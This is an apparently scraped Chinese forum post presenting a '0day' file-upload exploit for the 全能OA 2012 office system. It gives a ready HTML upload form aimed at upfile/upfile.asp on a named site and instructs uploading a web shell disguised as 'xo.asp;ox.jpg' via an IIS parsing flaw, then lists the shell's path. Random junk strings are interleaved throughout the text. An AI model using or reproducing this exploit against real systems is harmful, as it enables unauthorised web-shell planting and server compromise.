全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
​
系统介绍：
$ G/ Q. z2 Q. W; A$ G( e, ?
全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。

4 q" r1 l/ p* r3 }" V% r" Q主要功能：
公司通告
5 F+ q* G( g3 U! i7 \工作计划
- V! Q3 P7 |" M6 r( y通讯助理
3 m! x+ C. Q( y4 N. x客户资源
我的公文
公文传阅
& l( L- q7 ?0 C公共资源
资源预约
今日考勤
" }! S$ H4 h, M个人计划
个人通讯录
个人基本档案
未读邮件
7 y$ @: E2 G5 R6 T( r( l5 J发邮件
: N! Q. I( s1 Z收件夹
0 e5 v: U8 j! S- G  i3 i- e; J0 @寄件夹
网络硬盘
网络会议
网络调查
* c# |: @; k0 x( V% k5 H5 c% D( o1 c" X交流论坛

1 F6 r$ q5 f2 M* i9 }7 {! ~4 x有兴趣测试的朋友可以下源码看看

源码下载：

" m. w2 `! s. i) e( W# O/ Dhttp://www.mycodes.net/30/4750.htm
4 @- C6 G4 h1 D
3 u4 ]8 I2 A4 Z2 M5 l漏洞介绍：
2 U  @, _+ a7 E# Y6 S& n  p2 b
5 G8 N  l: X0 z; `% w由upfile.asp上传文件漏洞引起
& A# ]0 O' p( q: D, e' Y+ q$ V8 s
测试方法：

使用名小子上传http://www.itlynn.com/upfile.asp即可

+ \$ `: g4 b! x, \4 z如果upfile.asp文件被删除不存在。

" X. c9 z$ i& ?- F! x- \* [) Z  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

& V2 V! X8 E8 s/ A- w9 b如果存在那么将如下代码保存为upfile.html。
0 V: G' `! a5 h; V
; M2 G' y. P6 [1 {, T7 o5 q. |然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。


9 g3 s+ x9 c0 k
; o, P% _7 b' @6 C+ H01 <table border='0' align="center" cellpadding="5">
2 e4 r4 A- Y2 k% x. s8 U
02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">

03 <tr>
& S8 S( I/ O" A$ f: c5 ?
04             <td>报错：</td>
6 l# N, S) v4 k4 z! v& d
05             <td><input type='radio' name='errnumber' value='0'>

3 S* m$ z' y; t% y& z; `06               自动更名
) g: q+ D1 t) @- C& s( |- N
$ |& Z3 ^& ~1 v) b& B+ e07               <input type='radio' name='errnumber' value='1' checked>
+ C! f0 \* L. m, z7 I
08               报错方式

4 z4 h2 [% f! e9 W# n4 h0 Z" Y09               <input type='radio' name='errnumber' value='2'>

; B- _5 [4 y! g7 h10               直接覆盖</td>

11           </tr>
  h6 \: w: S: c
12           <tr>

13             <td>主题：</td>

14             <td><input type='text' name='filename' size='30'></td>

15           </tr>

16           <tr>
6 J" \' p" b* \1 Z$ X
# ]9 ~1 y5 Y, o- d: l17             <td>文件：</td>
9 g. F& B; N8 a' i
1 |, {; d7 D4 L! l2 t18             <td><input type="file"name="fruit"size="30"></td>
* i! D6 t$ j- r/ ?7 t
. e2 m! y6 \/ C' j19           </tr>

* v' V& D% P6 ^6 p0 I1 Z* T0 K7 G20           <tr>
0 u. z  [" ^, A3 w8 f
21             <td valign='top'>简介：</td>
0 p3 j+ [, q7 O# R+ V. q; K
22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>
& U3 w7 ^4 u8 Q4 j* x) i0 O
23           </tr>

  u- Z$ F; s+ p- s) w/ `" k" r) y24   
& L9 ~9 s# ]4 ], g, w
25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
: E9 {) x/ W) y. ~/ a& G
26           </tr>

; \; e" T3 G. M5 r27         </form>
3 X  H4 U/ E) @" P& q% E' j
然后打开上传一个文件名为xo.asp;ox.jpg的文件。
. d: [  \5 T0 E) _
3 y  p& S5 F& p1 I3 @

/ t7 H, i  _- e6 w% ^上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg

此漏洞需要配合解析漏洞利用。

: M, S- w# \7 m